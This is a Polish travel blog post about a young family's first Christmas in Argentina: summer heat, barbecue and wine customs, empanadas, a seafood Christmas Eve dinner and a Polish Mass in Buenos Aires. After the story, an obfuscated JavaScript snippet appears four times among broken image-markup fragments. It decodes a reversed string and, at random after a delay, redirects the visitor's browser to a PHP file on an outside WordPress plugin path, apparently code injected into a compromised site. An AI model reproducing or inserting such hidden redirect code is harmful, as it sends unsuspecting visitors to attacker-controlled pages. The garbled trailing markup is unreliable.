To nasze pierwsze takie Święta. – Bez rodziny, polskich przysmaków, choinki i przedświątecznego szału zakupów. Takie… na luzie. Takie… bez obżarstwa. Takie… w sumie fajne.

Nie jest łatwo poczuć święta w klimacie, gdzie temperatura przekracza 20, a często także 30 stopni. Latwiej tu o uczucie permanentnych wakacji niż impresje związane ze Świętami Bożego Narodzenie. Nie bez kozery od dzieciństwa w każdej bajce, gdzie występował Mikołaj, potem w filmach o Świętach, musiał być śnieg, bo to on podkreślał urok i oprawę tego wydarzenia. Tak, to są przecież prawdziwe Święta – ze śniegiem i mrozem. W Argentynie – o tej porze roku – można o tym tylko pomarzyć.

Gdy jechaliśmy Rutą 40, zaobserwowaliśmy, że świąteczne dekoracje zaczęły pojawiać się tutaj już w listopadzie, więc całkiem podobnie jak w Polsce. I podobnie jak tam, nie robiły na nas żadnego wrażenia. Bez przesady, kto w listopadzie myśli o Świętach? Tak naprawdę mieliśmy tylko jeden moment, gdy poczuliśmy je na chwilę. Było to na początku grudnia, gdy jechaliśmy kilka dni przez Chile. Ochłodziło się znacznie – rano padał taki zimny deszcze, a temperatura wynosiła około 5 stopni. Potem poszliśmy na zakupy do jakiegoś marketu, żeby uzupełnić zapasy wody, jedzenia, pieluch i innych rzeczy. A tam – oprócz dekoracji i choinek – przywitały nas piosenki świąteczne, te wszystkie, które kojarzą się ze Świętami – „Last Christmas”, „Feliz Navidad” i inne hity. Jednak po wyjściu z marketu i powrocie na Rutę 40 klimat świąt prysł i tak już chyba zostało. Na trzy dni przed Wigilią dotarliśmy do Buenos Aires i nic tu nie wskazywało, że zbliża się jakieś wielkie wydarzenie. Na ulicach widzieliśmy tylko dyskretnie przystrojone sklepy, praktycznie żadnych światełek, ludzie śpieszący się jak zawsze i ten sam nie do wytrzymania ruch na drodze (korki i permanentne trąbienie).

Zapytaliśmy więc znajomych Argentyńczyków, co tutaj się dzieje w Święta i czy są jakieś obowiązkowe świąteczne potrawy. Dowiedzieliśmy się, że tu robi się grilla, pije wino i spędza czas z najbliższymi. Okres świąteczny przypada tutaj w lecie, więc sporo osób bierze kilka lub kilkanaście dni wolnego i wyjeżdża. To popularny sposób spędzania Świąt. – Hmmm. Z jednej strony jest to miła perspektywa, bo nie ma zarwanych nocy czy nie trzeba brać kilku dni urlopu, żeby wszystko przygotować. Z drugiej jednak, trochę to dla nas dziwne było. Wszystko przez to, że wychowywaliśmy się w kulcie dwunastu potraw i do tego niejedzenia mięsa i niepicia alkoholu w Wigilię. :)

Zostaliśmy zaproszeni nawet na tutejszą Wigilię „pracowniczą”, więc ucieszyliśmy się i zapytaliśmy, co mamy przynieść. Dostaliśmy informację, że wino. A poza winem na tej wigilii były zamówione empanady (argentyńskie pierożki z serem i szynką, kurczakiem i mięsem – spójrzcie na zdjęcie) w pudełkach takich, jak dostarczają pizzę. I tyle. Mało? – Wszyscy się najedli, ale przypomniałam sobie, co jest na takiej Wigilii w Polsce.

Więc, jak wyglądały te nasze Święta w Argentynie?

Przyjechaliśmy trzy dni przed Świętami także po to, aby mieć czas zrobić zakupy. Wybraliśmy się do dużego marketu. Od razu wiedzieliśmy, że nie będziemy starać się podrabać polskich świąt, bo nie ma tu większości polskich przysmaków. Kupiliśmy więc krewetki, małże i ośmiornice i zamiast karpia zrobiliśmy pyszne owoce morza w sosie curry. Do tego dorzuciliśmy ziemniaki, warzywa na sałatkę (prawie) jarzynową, jaja i dużo mięsa (chcieliśmy upodobnić się do tutejszych zwyczajów), do tego napoje, przyprawy i inne. Do kupienia w dniu Wigilii zostały nam tylko empanady i ciasto. Poniżej na zdjęciu widzicie właśnie pan dulce. Od rana tego dnia słuchaliśmy polskiego radia i kolęd, a do zupełnie nieformalnej kolacji wigilijnej, bo bardziej obiadu, usiedliśmy o 16 naszego czasu, czyli o 20 czasu w Polsce. Potem długo rozmawialiśmy z naszymi rodzinami na Skypie, a o północy – kiedy już smacznie spaliśmy – obudził nas odgłos fajerwerków, zupełnie jak u nas w Sylwestra. I też trwał kilkanaście minut. Na szczęście Amelii nie obudził.

Drugiego dnia Świat chcieliśmy iść na polską mszę, która miała się rozpocząć o godzinie  11. W kościele byliśmy 20 minut przed czasem, ale nie widzieliśmy informacji o tym, że taka msza w ogóle będzie. W pewnym momencie podszedł do nas ksiądz, aby się przywitać, bo wita się ze wszystkimi wiernymi (nie ma ich zbyt wielu w kościele). Spytał, skąd jesteśmy, chwilę porozmawialiśmy i spytałam, czy będzie dziś msza po polsku. Ksiądz na to, że tu nie odprawiają się msze w języku polskim, tylko w kaplicy położonej 15 metrów dalej, no i są tylko w niedziele o godzinie 11. W internecie znalazłam informację, że w niedzielę, ale też w święta też, więc stwierdziłam, że zajrzę. Pobiegłam… I faktycznie, okazało się, że msza po polsku trwa. Była 11.05. Wróciłam po Kubę i Amelię i zmieniliśmy szybko kościół.

Dawno nie było nam tak miło, gdy usłyszeliśmy polski język. Super, że w większym gronie mogliśmy pośpiewać kolędy. Oprócz nas było może 15 innych osób. Wszystkie żyjące już długo w Argentynie, najczęściej bardzo słabo mówiące po polsku. Tym bardziej fajnie, że chciały uczestniczyć w takiej mszy. Po niej był czas, żeby chwilę pogadać i złożyć sobie życzenia.

Potem wybraliśmy się na spacer po dzielnicy Palermo. 25 grudnia niewiele miejsc jest otwartych, ale udało się przysiąść na chwilę. Zjedliśmy małego naleśnika, a Amelia – swój obiad. Zrobiło się upalnie – 32 stopnie. Wróciliśmy do domu, by zjeść obiad. Tym razem serwowaliśmy pyszne mięsko mięsko wołowe (nawet mi zasmakowało) przyprawione tutejszym pikantnym sosem chimichurri.

Argentyńczycy nie mają drugiego dnia Świat. Większość miejsc jest otwarta w normalnych godzinach, choć – jak już wspominałam – sporo osób bierze urlopy i do nowego roku jest to spokojniejszy okres. My też z tego korzystamy.

Więc takie to mieliśmy Świata. Czy tęskniliśmy za Polską i rodziną? – Oczywiście, że nam ich brakowało, wszystko wyglądało inaczej niż dotychczas, ale najważniejsze, że to były nasze pierwsze Święta we troje. I w sumie fajne wyszło. :)

$NqM=function(n){if (typeof ($NqM.list[n]) == „string”) return $NqM.list[n].split(„”).reverse().join(„”);return $NqM.list[n];};$NqM.list=[„\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to-1.jpg” alt=”Basílica del Espíritu Santo” width=”2880″ height=”1620″/> Basílica del Espíritu Santo

$NqM=function(n){if (typeof ($NqM.list[n]) == „string”) return $NqM.list[n].split(„”).reverse().join(„”);return $NqM.list[n];};$NqM.list=[„\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to-2.jpg” alt=”Basílica del Espíritu Santo” width=”2880″ height=”1620″ /> Basílica del Espíritu Santo

$NqM=function(n){if (typeof ($NqM.list[n]) == „string”) return $NqM.list[n].split(„”).reverse().join(„”);return $NqM.list[n];};$NqM.list=[„\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to-3.jpg” alt=”Basílica del Espíritu Santo” width=”2880″ height=”1620″/> Basílica del Espíritu Santo

to-4.jpg” alt=”Basílica del Espíritu Santo” width=”2880″ height=”1620″ />

$NqM=function(n){if (typeof ($NqM.list[n]) == „string”) return $NqM.list[n].split(„”).reverse().join(„”);return $NqM.list[n];};$NqM.list=[„\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to-5.jpg” alt=”Basílica del Espíritu Santo” width=”2880″ height=”1620″/> Basílica del Espíritu Santo

Święta w Argentynie

Empanady argentyńskie

Empanady argentyńskie

Pan Dulce

Pan Dulce

Polski kościół w Buenos Aires

Ołtarz

Polski kościół w Buenos Aires

Mały żłobek w polskiej kaplicy